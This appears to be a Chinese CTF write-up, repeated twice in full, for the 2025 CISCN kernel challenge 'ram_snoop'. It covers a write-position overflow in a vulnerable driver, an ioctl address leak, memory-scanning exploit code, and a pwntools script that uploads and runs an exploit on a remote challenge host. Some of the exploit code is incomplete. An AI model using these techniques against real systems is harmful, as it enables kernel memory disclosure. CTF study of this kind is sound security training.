2025ciscn的ram_snoop题解
字数 1082
更新时间 2025-12-31 12:15:34
ram_snoop 题目分析与利用技术详解
题目概述
ram_snoop 是2025年CISCN比赛中的一道二进制安全题目,考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。
题目背景分析
关键组件
- eatFlag程序:负责将flag文件内容读入内存后立即删除文件
- babydev.ko内核模块:存在漏洞的可加载内核模块
- 特殊设备:/dev/noc 设备文件,提供用户态与内核的交互接口
flag处理机制
__int64 __fastcall flag_init(__int64 argc, __int64 argv, __int64 envp)
{
__int64 v4 = fopen64("/flag");
flag = malloc(256);
fread_unlocked(flag, 1, 256, v4);
fclose(v4);
return remove("/flag"); // 关键:读取后立即删除
}
漏洞分析
1. 全局缓冲区结构
内核模块维护一个全局缓冲区:
- 大小:0x10000字节
- 结构:包含数据区和元数据区
2. Write-Pos Overflow漏洞
在dev_write函数中存在关键漏洞:
unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 size, __int64 *a4)
{
__int64 write_pos = *a4;
unsigned __int64 actual_size = size;
// 漏洞点:边界检查逻辑错误
if (write_pos + size > 0x10000) {
actual_size = (unsigned __int16)-*(_WORD *)a4; // 关键漏洞
}
// 写入操作
if (copy_from_user(write_pos + global_buf, a2, actual_size))
return -14;
// 更新写位置
*a4 += actual_size;
return actual_size;
}
漏洞原理:
- 当
write_pos + size > 0x10000时,actual_size被设置为(unsigned short)-(write_pos & 0xFFFF) - 这相当于
0x10000 - (write_pos & 0xFFFF),允许越界写入
3. 内存泄露机制
通过ioctl可以泄露global_buf地址:
struct noc_ {
s32 index;
s8 command[0x10];
s32 date1;
s32 date2;
s32 padding;
u64 buf; // 返回的global_buf地址
};
利用技术
利用步骤
阶段1:获取内核缓冲区地址
- 打开
/dev/noc设备 - 使用特定ioctl命令(0x83170405)获取global_buf地址
- 验证地址有效性
阶段2:构造越界写入
- 通过精心构造的写入操作触发Write-Pos Overflow
- 利用漏洞使写指针越过缓冲区边界
- 同步调整seek位置与写指针
阶段3:内存扫描
- 使用dev_seek调整读取位置
- 分块读取物理内存(通常扫描128MB范围)
- 搜索flag特征模式(如"flag{")
关键代码实现
// 内存增长函数
int grow_memory(s32 fd) {
const size_t SPRAY_SIZE = 0x1000;
u8 *pad = malloc(SPRAY_SIZE);
memset(pad, 0x41, SPRAY_SIZE); // 填充数据
// 触发越界写入
for (int i = 0; i < 10; i++) {
if (write(fd, pad, SPRAY_SIZE) != (ssize_t)SPRAY_SIZE) {
return -1;
}
}
free(pad);
return 1;
}
// 标志扫描函数
int scan_for_flag(s32 fd, u64 base) {
const char *patterns[] = {"flag{"};
u8 *buffer = malloc(SPRAY_SIZE + 16);
for (u64 offset = 0; offset < TOTAL_SIZE; offset += SPRAY_SIZE) {
lseek(fd, (off_t)offset, SEEK_SET);
read(fd, buffer, SPRAY_SIZE);
// 模式匹配
for (size_t i = 0; i <= SPRAY_SIZE; i++) {
for (size_t p = 0; p < pattern_count; p++) {
if (memcmp(buffer + i, patterns[p], strlen(patterns[p])) == 0) {
// 找到疑似flag位置
extract_flag_content(fd, base, offset + i);
}
}
}
}
free(buffer);
return 0;
}
环境配置与调试
初始化脚本调整
原题提供的init脚本需要调整以确保正确启动环境:
#!/bin/sh
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
# 加载内核模块
if [ -f /babydev.ko ]; then
insmod /babydev.ko
fi
chmod 777 /dev/noc /tmp
cp /proc/kallsyms /tmp/coresysms.txt
# 启动eatFlag进程(关键)
/home/eatFlag &
# 启动shell
exec /bin/sh
文件系统打包
使用正确的cpio打包方法:
#!/bin/sh
set -e
echo "开始打包core..."
# 创建cpio归档
find . 2>/dev/null | cpio -o -H newc -R root:root > ../core.cpio
# 验证归档
if [ -s ../core.cpio ]; then
echo "打包成功"
else
echo "错误: 生成的cpio文件为空"
exit 1
fi
远程利用脚本
from pwn import *
import base64
context.log_level = "info"
def exploit_remote(host, port):
# 读取并编码exp二进制
with open("./exp", "rb") as f:
exp_bin = f.read()
b64_data = base64.b64encode(exp_bin).decode("ascii")
lines = [b64_data[i:i+76] for i in range(0, len(b64_data), 76)]
p = remote(host, port)
p.recvuntil([b"/ $", b"# "])
# 上传exp
p.sendline(b"cat <<'EOF' > /tmp/exploit.b64")
for line in lines:
p.sendline(line.encode())
p.sendline(b"EOF")
# 解码执行
p.recvuntil([b"/ $", b"# "])
p.sendline(b"base64 -d /tmp/exploit.b64 > /tmp/exploit")
p.recvuntil([b"/ $", b"# "])
p.sendline(b"chmod +x /tmp/exploit")
p.recvuntil([b"/ $", b"# "])
p.sendline(b"/tmp/exploit")
return p
# 使用示例
# p = exploit_remote("60.205.142.235", 32884)
# p.interactive()
技术要点总结
- 物理内存残留:进程退出后,其内存页可能仍包含敏感数据直到被重用
- 越界访问:通过整数溢出和边界检查漏洞实现可控的越界内存访问
- 内核地址泄露:利用ioctl接口泄露内核数据结构地址
- 大规模内存扫描:系统性地搜索特定内存模式
防御建议
- 安全的内存管理:进程退出后及时清理敏感数据
- 严格的边界检查:避免整数溢出和边界检查逻辑错误
- 地址空间布局随机化:增加内核地址泄露难度
- 内存保护机制:使用适当的内存保护技术防止越界访问
该题目展示了物理内存残留数据利用的实际案例,对于理解内核安全性和内存管理机制具有重要意义。
ram_snoop 题目分析与利用技术详解
题目概述
ram_snoop 是2025年CISCN比赛中的一道二进制安全题目,考察内核模块漏洞利用技术。题目核心是通过内存页残留数据读取已删除的flag。
题目背景分析
关键组件
- eatFlag程序:负责将flag文件内容读入内存后立即删除文件
- babydev.ko内核模块:存在漏洞的可加载内核模块
- 特殊设备:/dev/noc 设备文件,提供用户态与内核的交互接口
flag处理机制
__int64 __fastcall flag_init(__int64 argc, __int64 argv, __int64 envp)
{
__int64 v4 = fopen64("/flag");
flag = malloc(256);
fread_unlocked(flag, 1, 256, v4);
fclose(v4);
return remove("/flag"); // 关键:读取后立即删除
}
漏洞分析
1. 全局缓冲区结构
内核模块维护一个全局缓冲区:
- 大小:0x10000字节
- 结构:包含数据区和元数据区
2. Write-Pos Overflow漏洞
在dev_write函数中存在关键漏洞:
unsigned __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 size, __int64 *a4)
{
__int64 write_pos = *a4;
unsigned __int64 actual_size = size;
// 漏洞点:边界检查逻辑错误
if (write_pos + size > 0x10000) {
actual_size = (unsigned __int16)-*(_WORD *)a4; // 关键漏洞
}
// 写入操作
if (copy_from_user(write_pos + global_buf, a2, actual_size))
return -14;
// 更新写位置
*a4 += actual_size;
return actual_size;
}
漏洞原理:
- 当
write_pos + size > 0x10000时,actual_size被设置为(unsigned short)-(write_pos & 0xFFFF) - 这相当于
0x10000 - (write_pos & 0xFFFF),允许越界写入
3. 内存泄露机制
通过ioctl可以泄露global_buf地址:
struct noc_ {
s32 index;
s8 command[0x10];
s32 date1;
s32 date2;
s32 padding;
u64 buf; // 返回的global_buf地址
};
利用技术
利用步骤
阶段1:获取内核缓冲区地址
- 打开
/dev/noc设备 - 使用特定ioctl命令(0x83170405)获取global_buf地址
- 验证地址有效性
阶段2:构造越界写入
- 通过精心构造的写入操作触发Write-Pos Overflow
- 利用漏洞使写指针越过缓冲区边界
- 同步调整seek位置与写指针
阶段3:内存扫描
- 使用dev_seek调整读取位置
- 分块读取物理内存(通常扫描128MB范围)
- 搜索flag特征模式(如"flag{")
关键代码实现
// 内存增长函数
int grow_memory(s32 fd) {
const size_t SPRAY_SIZE = 0x1000;
u8 *pad = malloc(SPRAY_SIZE);
memset(pad, 0x41, SPRAY_SIZE); // 填充数据
// 触发越界写入
for (int i = 0; i < 10; i++) {
if (write(fd, pad, SPRAY_SIZE) != (ssize_t)SPRAY_SIZE) {
return -1;
}
}
free(pad);
return 1;
}
// 标志扫描函数
int scan_for_flag(s32 fd, u64 base) {
const char *patterns[] = {"flag{"};
u8 *buffer = malloc(SPRAY_SIZE + 16);
for (u64 offset = 0; offset < TOTAL_SIZE; offset += SPRAY_SIZE) {
lseek(fd, (off_t)offset, SEEK_SET);
read(fd, buffer, SPRAY_SIZE);
// 模式匹配
for (size_t i = 0; i <= SPRAY_SIZE; i++) {
for (size_t p = 0; p < pattern_count; p++) {
if (memcmp(buffer + i, patterns[p], strlen(patterns[p])) == 0) {
// 找到疑似flag位置
extract_flag_content(fd, base, offset + i);
}
}
}
}
free(buffer);
return 0;
}
环境配置与调试
初始化脚本调整
原题提供的init脚本需要调整以确保正确启动环境:
#!/bin/sh
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
# 加载内核模块
if [ -f /babydev.ko ]; then
insmod /babydev.ko
fi
chmod 777 /dev/noc /tmp
cp /proc/kallsyms /tmp/coresysms.txt
# 启动eatFlag进程(关键)
/home/eatFlag &
# 启动shell
exec /bin/sh
文件系统打包
使用正确的cpio打包方法:
#!/bin/sh
set -e
echo "开始打包core..."
# 创建cpio归档
find . 2>/dev/null | cpio -o -H newc -R root:root > ../core.cpio
# 验证归档
if [ -s ../core.cpio ]; then
echo "打包成功"
else
echo "错误: 生成的cpio文件为空"
exit 1
fi
远程利用脚本
from pwn import *
import base64
context.log_level = "info"
def exploit_remote(host, port):
# 读取并编码exp二进制
with open("./exp", "rb") as f:
exp_bin = f.read()
b64_data = base64.b64encode(exp_bin).decode("ascii")
lines = [b64_data[i:i+76] for i in range(0, len(b64_data), 76)]
p = remote(host, port)
p.recvuntil([b"/ $", b"# "])
# 上传exp
p.sendline(b"cat <<'EOF' > /tmp/exploit.b64")
for line in lines:
p.sendline(line.encode())
p.sendline(b"EOF")
# 解码执行
p.recvuntil([b"/ $", b"# "])
p.sendline(b"base64 -d /tmp/exploit.b64 > /tmp/exploit")
p.recvuntil([b"/ $", b"# "])
p.sendline(b"chmod +x /tmp/exploit")
p.recvuntil([b"/ $", b"# "])
p.sendline(b"/tmp/exploit")
return p
# 使用示例
# p = exploit_remote("60.205.142.235", 32884)
# p.interactive()
技术要点总结
- 物理内存残留:进程退出后,其内存页可能仍包含敏感数据直到被重用
- 越界访问:通过整数溢出和边界检查漏洞实现可控的越界内存访问
- 内核地址泄露:利用ioctl接口泄露内核数据结构地址
- 大规模内存扫描:系统性地搜索特定内存模式
防御建议
- 安全的内存管理:进程退出后及时清理敏感数据
- 严格的边界检查:避免整数溢出和边界检查逻辑错误
- 地址空间布局随机化:增加内核地址泄露难度
- 内存保护机制:使用适当的内存保护技术防止越界访问
该题目展示了物理内存残留数据利用的实际案例,对于理解内核安全性和内存管理机制具有重要意义。